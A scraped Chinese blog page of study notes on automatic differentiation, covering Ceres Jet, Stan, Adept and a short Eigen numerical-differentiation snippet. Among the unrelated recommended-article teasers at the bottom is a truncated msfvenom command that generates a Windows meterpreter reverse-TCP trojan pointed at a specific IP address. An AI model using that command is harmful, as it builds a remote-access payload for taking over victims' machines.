自动微分(AD)学习笔记
1.自动微分(AD)
作者:李济深
链接:https://www.zhihu.com/question/48356514/answer/125175491
来源:知乎
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。
开源里面比较干净的Forward Mode实现应该是ceres-solver里的的Jet[1]了。文件注释里解释得很详细。Reverse Mode比较成熟的实现是Stan[3]的。Adept[2]的实现思路有点意思,速度上跟Stan差不多(Stan在对节点函数上做了更多优化的工作),但是似乎缺乏实际产品的检验,稳定性可能不如Stan。Adept 2.0 版本自己实现了Array,原因大抵是作者想写出自己的风格…向不成熟的方向又迈进了一步。
AD在优化问题里面是一个非常方便的工具。但是不要忘了最简单的 df = (f(x+h) - f(x-h)) / 2h 这样简单而高效的形式,结合两者在某些优化问题里会有更好的效果。
Ceres中提供了三种求导方式:
- 解析法求导
- 数值法求导
- 自动微分法(AD)求导
[1]: ceres-solver/jet.h at master · kashif/ceres-solver · GitHub
[2]: Adept: Fast Automatic Differentiation using Expression Templates
[3]: GitHub - stan-dev/math: Stan Math Library
2.数值微分:
https://en.wikipedia.org/wiki/Numerical_differentiation
求解非线性最小二乘法 Eigen https://blog.csdn.net/z444_579/article/details/52228602
http://blog.sina.com.cn/s/blog_a29eae2b0102whjp.html
Eigen中Levenberg-Marquardt算法的应用 https://blog.csdn.net/u012541187/article/details/53220280
https://scicomp.stackexchange.com/questions/16237/eigen-unsupported-levenberg-marquardt-algorithm
Eigen3中的数值微分法:
在Eigen3中,数值微分法也是继承自自定义的Functor数据结构的,写法大概是如下这样。
这样自定义的my_functor中就只定义了 operator() 函数,虽然没有定义 df() 函数,但是NumericalDiff数据结构是定义了 df() 函数的。
my_functor functor;
Eigen::NumericalDiff<my_functor> numDiff(functor);
Eigen::LevenbergMarquardt<Eigen::NumericalDiff<my_functor>, double> lm(numDiff);
当然可以完全自己定义一个结构体,自己实现df函数求偏导,和operator()函数求函数值。
自动微分(AD)学习笔记的更多相关文章
- AD学习笔记(基础)
AD学习 1 学习思路 1.1 学什么 1.2 怎么学 2 AD本身 3 AD project 3.1 任务层级 3.2 PCB流程 4 原理图工作环境设置 5 开始 5.1工程创建 5.2 元件库介 ...
- JVM自动内存管理学习笔记
对于使用 C.C++ 的程序员来说,在内存管理领域,他们既是拥有最高权力的皇帝又是从事最基础工作的劳动人民——拥有每一个对象的“所有权”,又担负着每一个对象生命开始到终结的维护责任.对于 Java 程 ...
- AD学习笔记----PCB设计
1.重新设置板子的形状 Design ---->Board Shape---->Redefine Board Sharp 2.通过Board Options 对板子进行设置 3.添加一个新 ...
- [学习笔记] AD笔记
Auto diff 深度学习基础知识,auto diff自动微分的笔记,tensorflow中的求导就是基于这个做的.多用于复杂神经网络求导.来自于一篇论文,没怎么看完,但是会算了,比较底层一点吧.. ...
- swift学习笔记5——其它部分(自动引用计数、错误处理、泛型...)
之前学习swift时的个人笔记,根据github:the-swift-programming-language-in-chinese学习.总结,将重要的内容提取,加以理解后整理为学习笔记,方便以后查询 ...
- [原创]java WEB学习笔记99:Spring学习---Spring Bean配置:自动装配,配置bean之间的关系(继承/依赖),bean的作用域(singleton,prototype,web环境作用域),使用外部属性文件
本博客的目的:①总结自己的学习过程,相当于学习笔记 ②将自己的经验分享给大家,相互学习,互相交流,不可商用 内容难免出现问题,欢迎指正,交流,探讨,可以留言,也可以通过以下方式联系. 本人互联网技术爱 ...
- Dynamic CRM 2013学习笔记(三十四)自定义审批流5 - 自动邮件通知
审批过程中,经常要求自动发邮件:审批中要通知下一个审批人进行审批:审批完通知申请人已审批完:被拒绝后,要通知已批准的人和申请人.下面详细介绍如何实现一个自动发邮件的插件: 1. 根据审批状态来确定 ...
- Android(java)学习笔记204:自定义SmartImageView(继承自ImageView,扩展功能为自动获取网络路径图片)
1.有时候Android系统配置的UI控件,不能满足我们的需求,Android开发做到了一定程度,多少都会用到自定义控件,一方面是更加灵活,另一方面在大数据量的情况下自定义控件的效率比写布局文件更高. ...
- thinkphp学习笔记9—自动加载
原文:thinkphp学习笔记9-自动加载 1.命名空间自动加载 在3.2版本中不需要手动加载类库文件,可以很方便的完成自动加载. 系统可以根据类的命名空间自动定位到类库文件,例如定义了一个类Org\ ...
随机推荐
- sping加载bean都发生了些什么
问题描述:使用@Autowired注入的类,没有实例化 //Controller @RequestMapping(value="/deepblue") @Controller pu ...
- 数据仓库:Mysql大量数据快速导出
背景 写这篇文章主要是介绍一下我做数据仓库ETL同步的过程中遇到的一些有意思的内容和提升程序运行效率的过程. 关系型数据库: 项目初期:游戏的运营数据比较轻量,相关的运营数据是通过Java后台程序聚合 ...
- Git命令行大全
git branch 查看本地所有分支 git status 查看当前状态 git commit 提交 git branch -a 查看所有的分支 git branch -r 查看远程所有分支 git ...
- go关键字之struct定义声明方式
type Student struct{ name string age int } var stu Student stu.name,stu.age = "张三”,10 stu2 := S ...
- HTTPS原理和CA证书申请(转)
原文地址:http://blog.51cto.com/11883699/2160032 众所周知,WEB服务存在http和https两种通信方式,http默认采用80作为通讯端口,对于传输采用不加密的 ...
- nginx 报错 connect() failed (111: Connection refused) while connecting to upstream
公司网站搬迁到新服务器后,发现站点访问不了,network里面提示502,查看相关的server配置,感觉没有什么问题,经过测试发现txt.html.等非php文件能够直接访问,也就是php访问不了, ...
- Skip the Class
BestCoder Round #92 Skip the Class Accepts: 678 Submissions: 1285 Time Limit: 2000/1000 MS (Java/ ...
- Msf的一些常用操作
payload的几个常用生成 生成windows下的反弹木马 msfvenom -p windows/meterpreter/reverse_tcp LHOST=60.205.212.140 LPOR ...
- eclipse哪个版本好
Eclipse IDE for Java EE Developers (企业级开发软件,干啥都足够了,300MB左右)
- 关于IOC和DI
IoC (Inverse of Control)即控制反转.是指将原来程序中自己创建实现类对象的控制权反转到IOC容器中.只需要通过IOC获了对象的实例,将IOC当成一个黑盒子.工厂.容器. spri ...